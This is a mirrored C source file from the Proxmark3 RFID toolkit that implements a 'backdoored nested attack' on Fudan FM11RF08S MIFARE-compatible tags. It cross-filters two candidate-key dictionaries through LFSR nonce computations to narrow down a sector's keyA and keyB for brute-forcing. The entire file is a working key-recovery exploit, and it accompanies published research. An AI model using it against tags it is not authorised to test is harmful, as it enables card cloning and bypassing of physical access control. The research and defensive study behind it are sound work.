mirror of
https://github.com/RfidResearchGroup/proxmark3.git
synced 2024-11-04 20:50:37 -08:00
268 lines
7.5 KiB
C
268 lines
7.5 KiB
C
// Faster Backdoored Nested Attack against Fudan FM11RF08S tags
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//
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// Attack conditions:
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// * Backdoor
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// * keyA and keyB are different for the targeted sector
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//
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// Strategy:
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// * Use backdoor on the targeted sector to get the clear static nested nT for keyA and for keyB
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// * Generate 2 lists of key candidates based on clear and encrypted nT
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// * Search couples of keyA/keyB satisfying some obscure relationship
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// * Use the resulting dictionary to bruteforce the keyA (and staticnested_2x1nt_rf08s_1key for keyB)
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//
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// Doegox, 2024, cf https://eprint.iacr.org/2024/1275 for more info
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#include <stdio.h>
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#include <stdlib.h>
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#include <stdbool.h>
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#include <string.h>
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#include <inttypes.h>
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uint16_t i_lfsr16[1 << 16] = {0};
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uint16_t s_lfsr16[1 << 16] = {0};
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static void init_lfsr16_table(void) {
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uint16_t x = 1;
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for (uint16_t i = 1; i; ++i) {
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i_lfsr16[(x & 0xff) << 8 | x >> 8] = i;
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s_lfsr16[i] = (x & 0xff) << 8 | x >> 8;
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x = x >> 1 | (x ^ x >> 2 ^ x >> 3 ^ x >> 5) << 15;
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}
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}
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// static uint16_t next_lfsr16(uint16_t nonce) {
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// return s_lfsr16[(i_lfsr16[nonce]+1) % 65535];
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// }
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static uint16_t prev_lfsr16(uint16_t nonce) {
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return s_lfsr16[(i_lfsr16[nonce] - 1) % 65535];
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}
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static uint16_t compute_seednt16_nt32(uint32_t nt32, uint64_t key) {
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uint8_t a[] = {0, 8, 9, 4, 6, 11, 1, 15, 12, 5, 2, 13, 10, 14, 3, 7};
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uint8_t b[] = {0, 13, 1, 14, 4, 10, 15, 7, 5, 3, 8, 6, 9, 2, 12, 11};
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uint16_t nt = nt32 >> 16;
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uint8_t prev = 14;
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for (uint8_t i = 0; i < prev; i++) {
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nt = prev_lfsr16(nt);
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}
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uint8_t prevoff = 8;
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bool odd = 1;
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for (uint8_t i = 0; i < 6 * 8; i += 8) {
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if (odd) {
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nt ^= (a[(key >> i) & 0xF]);
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nt ^= (b[(key >> i >> 4) & 0xF]) << 4;
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} else {
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nt ^= (b[(key >> i) & 0xF]);
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nt ^= (a[(key >> i >> 4) & 0xF]) << 4;
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}
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odd ^= 1;
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prev += prevoff;
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for (uint8_t j = 0; j < prevoff; j++) {
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nt = prev_lfsr16(nt);
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}
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}
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return nt;
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}
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int main(int argc, char *const argv[]) {
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if (argc != 3) {
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printf("Usage:\n %s keys_<uid:08x>_<sector:02>_<nt1:08x>.dic keys_<uid:08x>_<sector:02>_<nt2:08x>.dic\n"
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" where both dict files are produced by staticnested_1nt *for the same UID and same sector*\n",
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argv[0]);
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return 1;
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}
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uint32_t uid1, sector1, nt1, uid2, sector2, nt2;
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char *filename1 = argv[1], *filename2 = argv[2];
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int result = sscanf(filename1, "keys_%8x_%2u_%8x.dic", &uid1, §or1, &nt1);
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if (result != 3) {
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fprintf(stderr, "Error: Failed to parse the filename %s.\n", filename1);
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return 1;
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}
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result = sscanf(filename2, "keys_%8x_%2u_%8x.dic", &uid2, §or2, &nt2);
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if (result != 3) {
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fprintf(stderr, "Error: Failed to parse the filename %s.\n", filename2);
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return 1;
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}
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if (uid1 != uid2) {
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fprintf(stderr, "Error: Files must belong to the same UID.\n");
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return 1;
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}
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if (sector1 != sector2) {
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fprintf(stderr, "Error: Files must belong to the same sector.\n");
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return 1;
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}
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if (nt1 == nt2) {
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fprintf(stderr, "Error: Files must belong to different nonces.\n");
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return 1;
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}
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init_lfsr16_table();
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uint32_t keycount1 = 0;
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uint64_t *keys1 = NULL;
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uint8_t *filter_keys1 = NULL;
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uint16_t *seednt1 = NULL;
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uint32_t keycount2 = 0;
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uint64_t *keys2 = NULL;
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uint8_t *filter_keys2 = NULL;
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FILE *fptr;
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fptr = fopen(filename1, "r");
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if (fptr != NULL) {
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uint64_t buffer;
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while (fscanf(fptr, "%012" PRIx64, &buffer) == 1) {
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keycount1++;
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}
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keys1 = (uint64_t *)calloc(1, keycount1 * sizeof(uint64_t));
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filter_keys1 = (uint8_t *)calloc(keycount1, sizeof(uint8_t));
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if ((keys1 == NULL) || (filter_keys1 == NULL)) {
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perror("Failed to allocate memory");
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fclose(fptr);
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goto end;
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}
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rewind(fptr);
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for (uint32_t i = 0; i < keycount1; i++) {
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if (fscanf(fptr, "%012" PRIx64, &keys1[i]) != 1) {
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perror("Failed to read key");
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fclose(fptr);
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goto end;
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}
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}
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fclose(fptr);
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} else {
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fprintf(stderr, "Warning: Cannot open %s\n", filename1);
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goto end;
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}
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fptr = fopen(filename2, "r");
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if (fptr != NULL) {
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uint64_t buffer;
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while (fscanf(fptr, "%012" PRIx64, &buffer) == 1) {
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keycount2++;
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}
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keys2 = (uint64_t *)calloc(1, keycount2 * sizeof(uint64_t));
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filter_keys2 = (uint8_t *)calloc(keycount2, sizeof(uint8_t));
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if ((keys2 == NULL) || (filter_keys2 == NULL)) {
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perror("Failed to allocate memory");
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fclose(fptr);
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goto end;
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}
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rewind(fptr);
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for (uint32_t i = 0; i < keycount2; i++) {
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if (fscanf(fptr, "%012" PRIx64, &keys2[i]) != 1) {
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perror("Failed to read key");
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fclose(fptr);
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goto end;
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}
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}
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fclose(fptr);
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} else {
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fprintf(stderr, "Warning: Cannot open %s\n", filename2);
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goto end;
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}
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printf("%s: %u keys loaded\n", filename1, keycount1);
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printf("%s: %u keys loaded\n", filename2, keycount2);
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seednt1 = (uint16_t *)calloc(1, keycount1 * sizeof(uint16_t));
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if (seednt1 == NULL) {
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perror("Failed to allocate memory");
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goto end;
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}
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for (uint32_t i = 0; i < keycount1; i++) {
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seednt1[i] = compute_seednt16_nt32(nt1, keys1[i]);
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}
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for (uint32_t j = 0; j < keycount2; j++) {
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uint16_t seednt2 = compute_seednt16_nt32(nt2, keys2[j]);
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for (uint32_t i = 0; i < keycount1; i++) {
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if (seednt2 == seednt1[i]) {
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// printf("MATCH: key1=%012" PRIx64 " key2=%012" PRIx64 "\n", keys1[i], keys2[j]);
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filter_keys1[i] = 1;
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filter_keys2[j] = 1;
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}
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}
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}
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char filter_filename1[40];
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uint32_t filter_keycount1 = 0;
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snprintf(filter_filename1, sizeof(filter_filename1), "keys_%08x_%02u_%08x_filtered.dic", uid1, sector1, nt1);
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fptr = fopen(filter_filename1, "w");
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if (fptr != NULL) {
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for (uint32_t j = 0; j < keycount1; j++) {
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if (filter_keys1[j]) {
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filter_keycount1++;
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fprintf(fptr, "%012" PRIx64 "\n", keys1[j]);
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}
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}
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fclose(fptr);
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} else {
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fprintf(stderr, "Warning: Cannot save keys in %s\n", filter_filename1);
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}
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char filter_filename2[40];
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uint32_t filter_keycount2 = 0;
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snprintf(filter_filename2, sizeof(filter_filename2), "keys_%08x_%02u_%08x_filtered.dic", uid2, sector2, nt2);
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fptr = fopen(filter_filename2, "w");
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if (fptr != NULL) {
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for (uint32_t j = 0; j < keycount2; j++) {
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if (filter_keys2[j]) {
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filter_keycount2++;
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fprintf(fptr, "%012" PRIx64 "\n", keys2[j]);
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}
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}
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fclose(fptr);
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} else {
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fprintf(stderr, "Warning: Cannot save keys in %s\n", filter_filename2);
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}
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printf("%s: %u keys saved\n", filter_filename1, filter_keycount1);
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printf("%s: %u keys saved\n", filter_filename2, filter_keycount2);
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end:
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if (keys1 != NULL) {
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free(keys1);
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}
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if (keys2 != NULL) {
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free(keys2);
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}
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if (filter_keys1 != NULL) {
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free(filter_keys1);
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}
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if (filter_keys2 != NULL) {
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free(filter_keys2);
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}
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if (seednt1 != NULL) {
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free(seednt1);
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}
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return 0;
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}
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